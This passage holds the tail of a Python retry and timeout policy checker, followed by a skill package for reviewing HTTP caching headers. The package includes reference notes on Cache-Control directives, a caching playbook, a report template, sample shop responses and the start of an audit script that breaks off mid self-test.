flags.append(("NO_DEADLINE", "no overall deadline across attempts"))
if l["deadline_ms"] is not None and l["per_try_timeout_ms"] and l["deadline_ms"] < l["per_try_timeout_ms"]:
flags.append(("DEADLINE_TOO_SHORT", "deadline is shorter than a single try"))
if retries and not l["idempotent"] and not l["idempotency_key"]:
flags.append(("RETRY_UNSAFE", "retries a non-idempotent call without an idempotency key (double charge / duplicate write risk)"))
bad = sorted(c for c in l["retry_on"] if isinstance(c, int) and c in BAD_4XX)
if retries and bad:
flags.append(("RETRY_ON_4XX", f"retries client errors {bad}; they will fail the same way again"))
if retries and any(c in (429, 503) for c in l["retry_on"]) and not l["respect_retry_after"]:
flags.append(("IGNORES_RETRY_AFTER", "retries 429/503 but ignores the Retry-After header"))
max_delay_total = sum(d[2] for d in ds)
exp_delay_total = sum(d[1] for d in ds)
worst = None
if l["per_try_timeout_ms"] is not None:
worst = n * l["per_try_timeout_ms"] + max_delay_total
if l["deadline_ms"] is not None:
worst = min(worst, l["deadline_ms"])
elif l["deadline_ms"] is not None:
worst = l["deadline_ms"]
if i > 0:
parent = layers[i - 1]
pt = parent["per_try_timeout_ms"]
if pt is not None and (worst is None or worst > pt):
flags.append(("INNER_OUTLIVES_CALLER", f"worst case {fmt_ms(worst)} > caller per-try timeout {fmt_ms(pt)}; the caller gives up and retries while this layer is still working"))
et = expected_tries(n, p)
worst_amp *= n
exp_amp *= et
res["layers"].append({
"name": l["name"], "attempts": n, "jitter": l["jitter"],
"delays_ms": [[round(a, 1), round(b, 1), round(c, 1)] for a, b, c in ds],
"max_delay_total_ms": round(max_delay_total, 1), "expected_delay_total_ms": round(exp_delay_total, 1),
"per_try_timeout_ms": l["per_try_timeout_ms"], "deadline_ms": l["deadline_ms"],
"worst_case_ms": None if worst is None else round(worst, 1),
"expected_tries": round(et, 3), "cumulative_worst_amplification": worst_amp,
"cumulative_expected_amplification": round(exp_amp, 3),
"flags": [{"code": c, "severity": SEVERITY[c], "detail": d} for c, d in flags]})
if worst_amp > max_amp:
res["layers"][-1]["flags"].append({"code": "AMPLIFICATION", "severity": "high",
"detail": f"one top-level request can become {worst_amp} calls to the innermost dependency during an outage (limit {max_amp}); retry at one layer only or add a retry budget"})
res["worst_amplification"] = worst_amp
res["expected_amplification"] = round(exp_amp, 3)
res["high_flags"] = sum(1 for l in res["layers"] for f in l["flags"] if f["severity"] == "high")
return res
def fmt_ms(v):
if v is None:
return "unbounded"
if v >= 1000:
s = f"{v / 1000:.2f}".rstrip("0").rstrip(".")
return s + " s"
return f"{v:g} ms"
def to_markdown(r):
out = [f"# Retry policy report: {r['name']}", "",
f"Failure rate used for expected values: {r['failure_rate']:.0%}", "",
"| Layer | Attempts | Jitter | Max total delay | Per-try timeout | Deadline | Worst case | Expected tries |",
"|---|---|---|---|---|---|---|---|"]
for l in r["layers"]:
out.append(f"| {l['name']} | {l['attempts']} | {l['jitter']} | {fmt_ms(l['max_delay_total_ms'])} | "
f"{fmt_ms(l['per_try_timeout_ms'])} | {fmt_ms(l['deadline_ms'])} | {fmt_ms(l['worst_case_ms'])} | {l['expected_tries']:g} |")
out += ["", "## Delay schedule (min / expected / max)"]
for l in r["layers"]:
if not l["delays_ms"]:
out.append(f"- {l['name']}: no retries")
continue
parts = [f"retry {k + 1}: {fmt_ms(a)} / {fmt_ms(b)} / {fmt_ms(c)}" for k, (a, b, c) in enumerate(l["delays_ms"])]
out.append(f"- {l['name']}: " + "; ".join(parts))
out += ["", "## Amplification at the innermost dependency",
f"- Worst case (every try fails): {r['worst_amplification']} calls per top-level request",
f"- Expected at {r['failure_rate']:.0%} failure rate: {r['expected_amplification']:g} calls per top-level request", "",
"## Findings"]
n = 0
for sev in ("high", "medium", "low"):
for l in r["layers"]:
for f in l["flags"]:
if f["severity"] == sev:
n += 1
out.append(f"- **{sev.upper()} {f['code']}** ({l['name']}): {f['detail']}")
if not n:
out.append("- No findings.")
return "\n".join(out)
def self_test():
cases = []
def ok(name, cond):
cases.append((name, bool(cond)))
def one(**kw):
base = {"name": "x", "attempts": 3, "base_delay_ms": 100, "multiplier": 2, "max_delay_ms": 1000,
"jitter": "full", "per_try_timeout_ms": 1000, "deadline_ms": 5000, "retry_on": [503],
"respect_retry_after": True}
base.update(kw)
return base
def codes(r, i=0):
return {f["code"] for f in r["layers"][i]["flags"]}
d = delays(normalize({"layers": [one(jitter="none", attempts=5)]})[0])
ok("exponential no jitter 100,200,400,800", [x[2] for x in d] == [100, 200, 400, 800])
d = delays(normalize({"layers": [one(jitter="none", attempts=6)]})[0])
ok("cap applied at 1000", d[-1][2] == 1000 and d[-2][2] == 800)
d = delays(normalize({"layers": [one(jitter="full")]})[0])
ok("full jitter mean half", d[0] == (0.0, 50.0, 100))
d = delays(normalize({"layers": [one(jitter="equal")]})[0])
ok("equal jitter 50..100 mean 75", d[0] == (50.0, 75.0, 100))
d = delays(normalize({"layers": [one(jitter="decorrelated", attempts=4)]})[0])
ok("decorrelated within bounds", all(a <= b <= c for a, b, c in d) and d[0][2] == 300 and d[2][2] == 1000)
r = analyze({"layers": [one()]})
ok("clean policy has no flags", not codes(r))
ok("worst case = 3x1000 + 100 + 200", r["layers"][0]["worst_case_ms"] == 3300)
r = analyze({"layers": [one(deadline_ms=2000)]})
ok("deadline caps worst case", r["layers"][0]["worst_case_ms"] == 2000)
ok("expected tries p=0.5 n=3 is 1.75", expected_tries(3, 0.5) == 1.75 and expected_tries(3, 1) == 3)
ok("no jitter flagged", "NO_JITTER" in codes(analyze({"layers": [one(jitter="none")]})))
ok("hot loop flagged", "HOT_LOOP" in codes(analyze({"layers": [one(base_delay_ms=0)]})))
ok("no cap flagged with 4+ attempts", "NO_CAP" in codes(analyze({"layers": [one(max_delay_ms=None, attempts=4)]})))
ok("unsafe retry flagged", "RETRY_UNSAFE" in codes(analyze({"layers": [one(idempotent=False)]})))
ok("idempotency key makes it safe", "RETRY_UNSAFE" not in codes(analyze({"layers": [one(idempotent=False, idempotency_key=True)]})))
ok("4xx retry flagged", "RETRY_ON_4XX" in codes(analyze({"layers": [one(retry_on=[400, 503])]})))
ok("Retry-After ignored flagged", "IGNORES_RETRY_AFTER" in codes(analyze({"layers": [one(retry_on=[429], respect_retry_after=False)]})))
ok("single attempt is not a retry policy", not codes(analyze({"layers": [one(attempts=1, jitter="none", deadline_ms=None)]})))
r = analyze({"layers": [one(per_try_timeout_ms=2000, deadline_ms=None), one(per_try_timeout_ms=1000, deadline_ms=None)]})
ok("inner outlives caller flagged", "INNER_OUTLIVES_CALLER" in codes(r, 1))
r = analyze({"layers": [one(per_try_timeout_ms=4000), one(per_try_timeout_ms=1000, deadline_ms=3500)]})
ok("inner within caller timeout ok", "INNER_OUTLIVES_CALLER" not in codes(r, 1))
r = analyze({"layers": [one(), one(), one()], "max_amplification": 10})
ok("3x3x3 amplification 27 flagged", r["worst_amplification"] == 27 and "AMPLIFICATION" in codes(r, 2))
r = analyze({"layers": [one(), one()]}, failure_rate=0.5)
ok("expected amplification 1.75^2", r["expected_amplification"] == 3.062)
for bad, label in ((({"layers": []}), "empty layers rejected"), (({"layers": [one(jitter="random")]}), "bad jitter rejected"),
(({"layers": [one(attempts=0)]}), "zero attempts rejected"), (({"layers": [one(attempts=2.5)]}), "fractional attempts rejected")):
try:
analyze(bad)
ok(label, False)
except PolicyError:
ok(label, True)
ok("fmt_ms", fmt_ms(1500) == "1.5 s" and fmt_ms(250) == "250 ms" and fmt_ms(None) == "unbounded")
passed = sum(c for _, c in cases)
for name, c in cases:
print(("PASS " if c else "FAIL ") + name)
print(f"{passed}/{len(cases)} passed")
return 0 if passed == len(cases) else 1
def main(argv=None):
ap = argparse.ArgumentParser(description="Check retry/backoff/timeout policies across a call chain.")
ap.add_argument("file", nargs="?", help="chain JSON ('-' for stdin)")
ap.add_argument("--failure-rate", type=float, help="probability that one try fails (default from file or 0.2)")
ap.add_argument("--max-amplification", type=float, help="flag chains above this worst-case amplification (default 10)")
ap.add_argument("--json", action="store_true")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args(argv)
if a.self_test:
return self_test()
if not a.file:
ap.error("chain JSON required (or --self-test)")
try:
raw = json.load(sys.stdin if a.file == "-" else open(a.file, encoding="utf-8"))
r = analyze(raw, a.failure_rate, a.max_amplification)
except (OSError, PolicyError, ValueError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
print(json.dumps(r, indent=2) if a.json else to_markdown(r))
return 1 if r["high_flags"] else 0
if __name__ == "__main__":
sys.exit(main())Reviews HTTP caching headers (Cache-Control, Expires, ETag, Last-Modified, Vary, Set-Cookie) for pages, assets, APIs. Computes browser and CDN freshness, flags cookie or personal responses a CDN may share, HTML cached too long, hashed assets cached too briefly, immutable on changing URLs, Vary fragmentation, missing validators, heuristic caching and cached errors. Suggests a header per resource. Includes a stdlib Python checker with --self-test.
---
name: http-cache-header-reviewer
description: Reviews HTTP caching headers (Cache-Control, Expires, ETag, Last-Modified, Vary, Set-Cookie) for pages, assets, APIs. Computes browser and CDN freshness, flags cookie or personal responses a CDN may share, HTML cached too long, hashed assets cached too briefly, immutable on changing URLs, Vary fragmentation, missing validators, heuristic caching and cached errors. Suggests a header per resource. Includes a stdlib Python checker with --self-test.
---
# HTTP Cache Header Reviewer
You help web developers get caching right: fast repeat visits and low CDN bills without stale pages after a deploy or, worse, one user's data served to another. You collect real response headers, explain what each cache will actually do with them, and propose a header per resource type with a short fix list.
## Files in this skill
- `scripts/cache_audit.py` - reads response blocks (curl -sI or DevTools output) and prints resource kind, browser and CDN TTL, revalidation, flags and suggested Cache-Control (Python 3 standard library only)
- `references/cache-control-directives.md` - every directive, freshness and heuristic rules, validators, Vary, cacheable status codes
- `references/caching-strategy-playbook.md` - recommended headers per resource, deploy safety, CDN notes, how to collect and verify headers
- `templates/cache-review-report.md` - report with current vs recommended headers and a fix list
- `examples/shop-responses.txt` - eight responses from a sample shop with common mistakes
## Workflow
### 1. Collect headers
Ask for a list of representative URLs: the home page, a logged-in page, a hashed JS/CSS file, an unhashed script, an image, a font, a public API call, a personal API call, an error response. Capture with `curl -sI <url>` (add `-H 'Cookie: ...'` or `-H 'Authorization: ...'` for logged-in requests, never paste real tokens into the report) or DevTools. Put each in the block format of `examples/shop-responses.txt`: a `### METHOD URL` line, optional `> Request-Header: value` lines, the status line, then the response headers.
### 2. Run the checker
```
python3 scripts/cache_audit.py examples/shop-responses.txt
python3 scripts/cache_audit.py headers.txt --json > cache-report.json
python3 scripts/cache_audit.py --self-test
```
Exit code 1 means high-severity findings, 2 means the input could not be parsed.
### 3. Explain the findings
Order: privacy first (AUTH_SHARED_CACHE, PUBLIC_WITH_COOKIE, PERSONAL_NOT_PRIVATE), then correctness after deploys (HTML_LONG_TTL, IMMUTABLE_UNHASHED, ERROR_CACHED), then performance (HASHED_SHORT_TTL, ASSET_NO_CACHING, VARY_FRAGMENTS, NO_VALIDATOR, HEURISTIC_ONLY) and hygiene (INVALID_DIRECTIVE, NO_STORE_CONFLICT, EXPIRES_ONLY, PRAGMA_ONLY). Use `references/cache-control-directives.md` to explain why.
### 4. Recommend headers
Use `references/caching-strategy-playbook.md`. Give the exact header per resource and where to set it in the user's stack (Nginx `add_header`, Express `res.set`, Next.js `headers()`, S3/CloudFront metadata, Cloudflare rules). Mention the deploy rule: hashed assets for a year, HTML revalidates.
### 5. Verify and report
Fill `templates/cache-review-report.md`. After changes, collect headers again and re-run the checker; check CDN HIT/MISS headers.
## Example result
For `examples/shop-responses.txt`: 5 high findings (home page HTML cached 1 day, widget.js immutable without a hash, the cart API with a session cookie cached by the CDN for 2 minutes, the login page with Set-Cookie marked public and cached 10 minutes), 4 medium (app.3f9a1c7b.js cached only 1 hour, hero.jpg on an 8.1-day heuristic, Vary: Cookie, a 503 cached for 1 hour) and 1 low (cart API has no validator); only vendor.81d2e0aa.css is already ideal.
## Rules
- Treat any chance of a shared cache storing personal data as the top issue.
- Do not ask for or keep real cookies or tokens; placeholders are enough.
- Recommend purges or URL versioning when changing TTLs that are already live.
- Say when behavior depends on the CDN's configuration and suggest checking it.
FILE:references/cache-control-directives.md
# Cache-Control Directives and Freshness Rules
## Response directives
| Directive | Meaning |
|---|---|
| max-age=N | Fresh for N seconds in any cache (browser and shared) |
| s-maxage=N | Overrides max-age for shared caches (CDN, proxy) only |
| no-cache | May be stored, but must be revalidated with the origin before every use |
| no-store | Must not be stored anywhere; overrides everything else |
| private | Only the browser may store it; CDNs and proxies must not |
| public | Shared caches may store it even if it would normally not be cacheable (for example with Authorization) |
| must-revalidate | Once stale, must not be served without a successful revalidation |
| proxy-revalidate | Same as must-revalidate, for shared caches only |
| immutable | Will never change while fresh; browsers skip revalidation on reload |
| stale-while-revalidate=N | May serve stale for N seconds while refreshing in the background |
| stale-if-error=N | May serve stale for N seconds if the origin returns 5xx or is unreachable |
| no-transform | Intermediaries must not modify the body (recompress images, etc.) |
Common mistakes: `no-cache` does NOT mean "do not cache" (that is `no-store`); `max-age` values must be whole seconds (`max-age=10m` is invalid and ignored); `Pragma: no-cache` only works on requests.
## Freshness lifetime (RFC 9111)
1. Shared cache: s-maxage, else max-age, else Expires - Date.
2. Browser: max-age, else Expires - Date.
3. Neither present and Last-Modified present: caches may use a heuristic, usually 10% of (Date - Last-Modified). A file last changed 80 days ago may be reused for 8 days with no check.
4. `private` sets the shared lifetime to 0. `no-store` sets both to 0.
## Validators and revalidation
- ETag (strong `"abc"` or weak `W/"abc"`) -> client sends If-None-Match.
- Last-Modified -> client sends If-Modified-Since.
- A match returns `304 Not Modified` with no body, which is cheap. Without a validator, every revalidation downloads the whole body.
## Vary
- `Vary: Accept-Encoding` is normal and safe.
- `Vary: Cookie`, `User-Agent` or `Referer` creates one cache entry per distinct value, which usually means no CDN hits.
- `Vary: *` means the response can never be reused.
## Status codes
Cacheable by default when fresh: 200, 203, 204, 206, 300, 301, 308, 404, 405, 410, 414, 501. Error responses (4xx/5xx) should have short or no caching, or a CDN may serve an outage page for hours. Use `stale-if-error` to serve the last good copy instead.
FILE:references/caching-strategy-playbook.md
# Caching Strategy Playbook
## Recommended headers by resource
| Resource | Cache-Control | Notes |
|---|---|---|
| HTML pages, app shell | `no-cache` + ETag | Always fresh after deploys; 304s keep it cheap |
| Marketing HTML on a CDN | `public, max-age=0, s-maxage=300, stale-while-revalidate=60` | Purge the CDN on publish |
| JS/CSS with a content hash (`app.3f9a1c7b.js`) | `public, max-age=31536000, immutable` | New build = new URL |
| JS/CSS without a hash | `public, max-age=300, stale-while-revalidate=86400` | Or add hashing to the build |
| Images, user uploads with stable URLs | `public, max-age=86400, stale-while-revalidate=604800` | Version the URL when the image changes |
| Fonts (versioned URL) | `public, max-age=31536000, immutable` | Also send CORS headers |
| Public API data (prices, catalog) | `public, max-age=30, s-maxage=300, stale-if-error=600` | Keep TTLs short; purge on change |
| Personal API data (cart, profile) | `private, no-cache` + ETag | Never public |
| Secrets, banking, health records, one-time tokens | `no-store` | Also on the logout and account pages |
| Redirect 301 | `max-age=86400` at first | Browsers can cache a bare 301 forever |
| Errors 5xx | `no-store` or `max-age=0`, use stale-if-error on the good responses | |
## Deploy safety
1. Hash every built asset name, then cache it for a year.
2. Make HTML revalidate so it always points at the current hashes.
3. Keep old hashed assets online for at least one release so open tabs still work.
4. Never put `immutable` on a URL whose content can change.
## CDN notes
- Most CDNs ignore `private`/`no-store` only if misconfigured; check "respect origin headers".
- Many CDNs do not cache responses with Set-Cookie by default; some do if `public` is set. Strip Set-Cookie from static responses.
- Use a `Surrogate-Control` or CDN-Cache-Control header if the CDN supports it and you want a CDN TTL different from the browser TTL.
- Normalize the cache key (ignore tracking query strings like utm_*).
## How to collect headers
```
curl -sI https://example.com/ ; curl -sI -H 'Cookie: session=...' https://example.com/api/me
curl -s -o /dev/null -D - https://example.com/assets/app.js # GET instead of HEAD
```
Some servers answer HEAD differently from GET; when in doubt use the GET form. In Chrome DevTools: Network tab, select a request, Headers, Response Headers (copy as text).
## Checking the result
- Reload twice in DevTools: hashed assets should show "(memory cache)" or "(disk cache)", HTML should show 304 or 200.
- CDN: look at its `Age`, `X-Cache` or `CF-Cache-Status` header (HIT / MISS / BYPASS).
FILE:templates/cache-review-report.md
# HTTP Cache Review - <site / service> - <date>
**Scope:** <URLs or HAR file> **CDN:** <name or none> **Collected with:** <curl -sI / DevTools / HAR>
## Summary
- Responses reviewed: <n> High: <n> Medium: <n> Low: <n>
- Biggest risk: <for example personal API cached on the CDN>
- Biggest win: <for example year-long caching for hashed assets>
## Current vs recommended
| Resource | Kind | Current Cache-Control | Browser / CDN TTL | Flags | Recommended |
|---|---|---|---|---|---|
| | | | | | |
## Fix list
| Priority | Change | Where (server, framework, CDN rule) | Owner | Done |
|---|---|---|---|---|
| 1 | | | | [ ] |
## Verification
- [ ] Re-run `python3 scripts/cache_audit.py` on fresh headers: no high findings
- [ ] CDN shows HIT for static files, BYPASS/MISS for personal API
- [ ] Deploy test: new HTML loads new assets without a hard refresh
FILE:examples/shop-responses.txt
# Responses captured with: curl -sI <url> (request headers sent are listed with "> ")
### GET https://shop.example/
HTTP/2 200
content-type: text/html; charset=utf-8
cache-control: public, max-age=86400
date: Wed, 21 Oct 2026 07:00:00 GMT
### GET https://shop.example/assets/app.3f9a1c7b.js
HTTP/2 200
content-type: application/javascript
cache-control: public, max-age=3600
etag: "3f9a1c7b"
### GET https://shop.example/assets/vendor.81d2e0aa.css
HTTP/2 200
content-type: text/css
cache-control: public, max-age=31536000, immutable
etag: "81d2e0aa"
### GET https://shop.example/js/widget.js
HTTP/2 200
content-type: application/javascript
cache-control: public, max-age=31536000, immutable
### GET https://shop.example/img/hero.jpg
HTTP/2 200
content-type: image/jpeg
date: Wed, 21 Oct 2026 07:00:00 GMT
last-modified: Sat, 01 Aug 2026 07:00:00 GMT
### GET https://shop.example/api/cart
> Cookie: session=abc123
HTTP/2 200
content-type: application/json
cache-control: public, s-maxage=120
vary: Cookie
### POST https://shop.example/login
HTTP/2 200
content-type: text/html; charset=utf-8
cache-control: public, max-age=600
set-cookie: session=xyz789; HttpOnly; Secure; SameSite=Lax
### GET https://shop.example/api/products?page=1
HTTP/2 503
content-type: application/json
cache-control: public, max-age=3600
FILE:scripts/cache_audit.py
#!/usr/bin/env python3
"""HTTP caching header reviewer (Python 3 standard library only).
Input: a text file with one block per response, as copied from `curl -sI`, browser
devtools or a HAR export:
### GET https://shop.example/assets/app.3f9a1c7b.js
> Authorization: Bearer ... (optional request headers start with "> ")
HTTP/2 200
content-type: application/javascript
cache-control: public, max-age=31536000, immutable
etag: "3f9a1c7b"
Blank lines and lines starting with "#" (but not "###") are ignored.
For each response it works out the kind (html, hashed-asset, asset, api, image, font, other),
browser and shared-cache (CDN) freshness in seconds (s-maxage > max-age > Expires - Date >
10% heuristic from Last-Modified), whether it can be revalidated, and flags:
NO_STORE_CONFLICT, PUBLIC_WITH_COOKIE, AUTH_SHARED_CACHE, PERSONAL_NOT_PRIVATE, VARY_STAR,
VARY_FRAGMENTS, HTML_LONG_TTL, HASHED_SHORT_TTL, IMMUTABLE_UNHASHED, ASSET_NO_CACHING,
NO_VALIDATOR, HEURISTIC_ONLY, EXPIRES_ONLY, PRAGMA_ONLY, ERROR_CACHED, INVALID_DIRECTIVE.
It suggests a Cache-Control value per kind.
Usage:
python3 cache_audit.py responses.txt
python3 cache_audit.py responses.txt --json
python3 cache_audit.py --self-test
Exit code: 0 OK, 1 high-severity flags found, 2 bad input.
"""
import argparse
import email.utils
import json
import re
import sys
KNOWN = {"max-age", "s-maxage", "no-cache", "no-store", "no-transform", "must-revalidate",
"proxy-revalidate", "must-understand", "private", "public", "immutable",
"stale-while-revalidate", "stale-if-error"}
NEEDS_INT = {"max-age", "s-maxage", "stale-while-revalidate", "stale-if-error"}
HASH_RE = re.compile(r"[.\-_]([0-9a-f]{8,}|[0-9A-Za-z_-]{8,}(?=\.[a-z0-9]+$))\.[a-z0-9]+$")
SEVERITY = {"NO_STORE_CONFLICT": "low", "PUBLIC_WITH_COOKIE": "high", "AUTH_SHARED_CACHE": "high",
"PERSONAL_NOT_PRIVATE": "medium", "VARY_STAR": "medium", "VARY_FRAGMENTS": "medium",
"HTML_LONG_TTL": "high", "HASHED_SHORT_TTL": "medium", "IMMUTABLE_UNHASHED": "high",
"ASSET_NO_CACHING": "medium", "NO_VALIDATOR": "low", "HEURISTIC_ONLY": "medium",
"EXPIRES_ONLY": "low", "PRAGMA_ONLY": "low", "ERROR_CACHED": "medium",
"INVALID_DIRECTIVE": "medium"}
RECOMMEND = {
"html": "no-cache (plus ETag or Last-Modified), or max-age=0, must-revalidate",
"hashed-asset": "public, max-age=31536000, immutable",
"asset": "public, max-age=3600, stale-while-revalidate=86400 (or add a content hash to the file name)",
"image": "public, max-age=86400, stale-while-revalidate=604800",
"font": "public, max-age=31536000, immutable (if the URL is versioned)",
"api": "private, no-cache for user data; public, max-age=60, s-maxage=300 only for truly public data",
"personal": "private, no-cache (or no-store for sensitive data)",
"other": "set an explicit Cache-Control",
}
class CacheError(ValueError):
pass
def parse_cc(value):
"""Return (directives dict, problems list)."""
d, problems = {}, []
for part in [p.strip() for p in value.split(",") if p.strip()]:
k, eq, v = part.partition("=")
k = k.strip().lower()
v = v.strip().strip('"')
if k not in KNOWN:
problems.append(f"unknown directive {k!r}")
continue
if k in NEEDS_INT:
if not re.fullmatch(r"\d+", v or ""):
problems.append(f"{k} needs a whole number of seconds, got {v!r}")
continue
d[k] = int(v)
else:
d[k] = True if not eq else v
return d, problems
def parse_blocks(text):
blocks, cur = [], None
for raw in text.splitlines():
line = raw.rstrip("\r")
if line.startswith("###"):
cur = {"label": line[3:].strip(), "status": None, "headers": {}, "request": {}}
blocks.append(cur)
continue
if not line.strip() or line.lstrip().startswith("#"):
continue
if cur is None:
raise CacheError("file must start with a '### METHOD URL' line")
if line.startswith(">"):
k, _, v = line[1:].strip().partition(":")
cur["request"][k.strip().lower()] = v.strip()
continue
m = re.match(r"HTTP/[\d.]+\s+(\d{3})", line)
if m:
cur["status"] = int(m.group(1))
continue
k, colon, v = line.partition(":")
if not colon:
raise CacheError(f"cannot parse header line {line!r} in block {cur['label']!r}")
k = k.strip().lower()
if k in cur["headers"] and k in ("cache-control", "vary"):
cur["headers"][k] += ", " + v.strip()
elif k == "set-cookie":
cur["headers"].setdefault(k, []).append(v.strip())
else:
cur["headers"][k] = v.strip()
if not blocks:
raise CacheError("no response blocks found")
return blocks
def url_of(label):
parts = label.split()
return parts[-1] if parts else ""
def kind_of(url, ctype):
path = re.sub(r"[?#].*$", "", url)
name = path.rsplit("/", 1)[-1].lower()
ctype = ctype.lower()
hashed = bool(HASH_RE.search(name)) and bool(re.search(r"\d", name))
if "text/html" in ctype or name.endswith(".html") or (not ctype and "." not in name):
return "html", False
if "json" in ctype or "/api/" in path or "graphql" in path:
return "api", False
if name.endswith((".woff2", ".woff", ".ttf", ".otf")) or "font" in ctype:
return "font", hashed
if ctype.startswith("image/") or name.endswith((".png", ".jpg", ".jpeg", ".gif", ".webp", ".avif", ".svg", ".ico")):
return ("hashed-asset" if hashed else "image"), hashed
if name.endswith((".js", ".mjs", ".css", ".map", ".wasm")) or "javascript" in ctype or "text/css" in ctype:
return ("hashed-asset" if hashed else "asset"), hashed
return "other", hashed
def http_date(v):
try:
return email.utils.parsedate_to_datetime(v)
except (TypeError, ValueError, IndexError):
return None
def review(block):
h, req = block["headers"], block["request"]
status = block["status"] or 200
url = url_of(block["label"])
kind, hashed = kind_of(url, h.get("content-type", ""))
cc, problems = parse_cc(h.get("cache-control", ""))
flags = []
def flag(code, detail):
flags.append({"code": code, "severity": SEVERITY[code], "detail": detail})
for p in problems:
flag("INVALID_DIRECTIVE", p)
cookies = h.get("set-cookie", [])
auth = "authorization" in req or "cookie" in req
date, expires, lastmod = http_date(h.get("date")), h.get("expires"), http_date(h.get("last-modified"))
no_store = "no-store" in cc
heuristic = False
if no_store:
browser = shared = 0
else:
browser = cc.get("max-age")
if browser is None and expires is not None:
ex = http_date(expires)
browser = max(0, int((ex - date).total_seconds())) if ex and date else 0
if browser is None and "no-cache" not in cc and lastmod and date and status in (200, 203, 204, 206, 300, 301, 404, 405, 410, 414, 501):
browser = max(0, int((date - lastmod).total_seconds() / 10))
heuristic = True
browser = browser or 0
shared = 0 if "private" in cc else cc.get("s-maxage", browser)
if "no-cache" in cc:
browser_eff, shared_eff = 0, 0
else:
browser_eff, shared_eff = browser, shared
validator = "etag" in h or "last-modified" in h
personal = bool(cookies) or auth
if no_store and any(k in cc for k in ("max-age", "s-maxage", "public", "immutable")):
flag("NO_STORE_CONFLICT", "no-store overrides the other directives; remove the extras so intent is clear")
if cookies and ("public" in cc or "s-maxage" in cc) and not no_store:
flag("PUBLIC_WITH_COOKIE", "response sets a cookie but allows shared caches; a CDN may serve one user's cookie to others")
if auth and shared > 0 and ("public" in cc or "s-maxage" in cc) and kind in ("api", "html", "other"):
flag("AUTH_SHARED_CACHE", "authenticated request with a response that shared caches may store; personal data can leak across users")
elif personal and kind in ("api", "html", "other") and not no_store and "private" not in cc \
and not any(f["code"] == "PUBLIC_WITH_COOKIE" for f in flags):
flag("PERSONAL_NOT_PRIVATE", "personalized response without private or no-store")
vary = [v.strip().lower() for v in h.get("vary", "").split(",") if v.strip()]
if "*" in vary:
flag("VARY_STAR", "Vary: * makes the response effectively uncacheable")
frag = [v for v in vary if v in ("user-agent", "cookie", "referer")]
if frag and shared > 0:
flag("VARY_FRAGMENTS", f"Vary on {', '.join(frag)} splits the CDN cache into many copies; vary on a normalized header instead")
if kind == "html" and browser_eff > 300:
flag("HTML_LONG_TTL", f"HTML cached {fmt_s(browser_eff)} without revalidation; users keep old pages that point to deleted assets after a deploy")
if kind == "hashed-asset" and browser_eff < 30 * 86400 and not no_store:
flag("HASHED_SHORT_TTL", f"content-hashed file cached only {fmt_s(browser_eff)}; it can be cached for a year with immutable")
if "immutable" in cc and not hashed:
flag("IMMUTABLE_UNHASHED", "immutable on a URL without a content hash; browsers will not pick up changes until max-age expires")
if kind in ("asset", "image", "font") and (no_store or "no-cache" in cc) and not personal:
flag("ASSET_NO_CACHING", "static file is never reused from cache; every page view downloads or revalidates it")
if ("no-cache" in cc or browser_eff == 0) and not no_store and not validator and status == 200:
flag("NO_VALIDATOR", "must revalidate but has no ETag or Last-Modified, so every check downloads the full body")
if heuristic:
flag("HEURISTIC_ONLY", f"no Cache-Control or Expires; caches guess {fmt_s(browser)} from Last-Modified")
if "cache-control" not in h and expires is not None:
flag("EXPIRES_ONLY", "only the legacy Expires header; add Cache-Control max-age")
if "cache-control" not in h and "pragma" in h:
flag("PRAGMA_ONLY", "Pragma: no-cache is a request header and has no effect on responses; use Cache-Control")
if status >= 400 and max(browser_eff, shared_eff) > 300:
flag("ERROR_CACHED", f"status {status} cached for {fmt_s(max(browser_eff, shared_eff))}; a brief error becomes a long outage")
rec_kind = "personal" if personal and kind in ("api", "html", "other") else kind
return {"label": block["label"], "status": status, "kind": kind, "hashed": hashed,
"cache_control": h.get("cache-control"), "browser_ttl_s": browser_eff, "shared_ttl_s": shared_eff,
"revalidate": "no-cache" in cc or "must-revalidate" in cc, "validator": validator,
"stale_while_revalidate_s": cc.get("stale-while-revalidate"), "flags": flags,
"recommended": RECOMMEND[rec_kind]}
def fmt_s(s):
if s is None:
return "-"
for unit, n in (("d", 86400), ("h", 3600), ("m", 60)):
if s >= n:
v = s / n
return f"{v:.0f}{unit}" if v == int(v) else f"{v:.1f}{unit}"
return f"{s}s"
def audit(text):
items = [review(b) for b in parse_blocks(text)]
return {"items": items, "high_flags": sum(1 for i in items for f in i["flags"] if f["severity"] == "high")}
def to_markdown(r):
out = ["# HTTP cache header review", "",
"| Response | Status | Kind | Browser TTL | CDN TTL | Revalidate | Validator | Flags |",
"|---|---|---|---|---|---|---|---|"]
for i in r["items"]:
out.append(f"| {i['label']} | {i['status']} | {i['kind']} | {fmt_s(i['browser_ttl_s'])} | {fmt_s(i['shared_ttl_s'])} | "
f"{'yes' if i['revalidate'] else 'no'} | {'yes' if i['validator'] else 'no'} | {', '.join(f['code'] for f in i['flags']) or '-'} |")
out += ["", "## Findings"]
n = 0
for sev in ("high", "medium", "low"):
for i in r["items"]:
for f in i["flags"]:
if f["severity"] == sev:
n += 1
out.append(f"- **{sev.upper()} {f['code']}** {i['label']}: {f['detail']}")
if not n:
out.append("- No findings.")
out += ["", "## Suggested Cache-Control"]
for i in r["items"]:
if i["flags"]:
out.append(f"- {i['label']}: `{i['recommended']}` (now: `{i['cache_control'] or 'none'}`)")
return "\n".join(out)
def self_test():
cases = []
def ok(name, cond):
cases.append((name, bool(cond)))
def one(url, *lines):
return review(parse_blocks("### GET " + url + "\nHTTP/1.1 200 OK\n" + "\n".join(lines))[0])
def codes(item):
return {f["code"] for f in item["flags"]}
ok("parse max-age", parse_cc("public, max-age=600")[0] == {"public": True, "max-age": 600})
ok("bad max-age reported", parse_cc("max-age=10m")[1])
ok("unknown directive reported", parse_cc("maxage=60")[1])
ok("hashed js detected", kind_of("https://x/app.3f9a1c7b.js", "") == ("hashed-asset", True))
ok("unhashed css", kind_of("https://x/styles.css", "text/css") == ("asset", False))
ok("html by content type", kind_of("https://x/", "text/html; charset=utf-8")[0] == "html")
ok("api by json", kind_of("https://x/api/cart", "application/json")[0] == "api")
i = one("https://x/app.3f9a1c7b.js", "Cache-Control: public, max-age=31536000, immutable", "ETag: \"a\"")
ok("ideal hashed asset clean", not codes(i) and i["browser_ttl_s"] == 31536000)
i = one("https://x/app.3f9a1c7b.js", "Cache-Control: public, max-age=3600")
ok("hashed short ttl", "HASHED_SHORT_TTL" in codes(i))
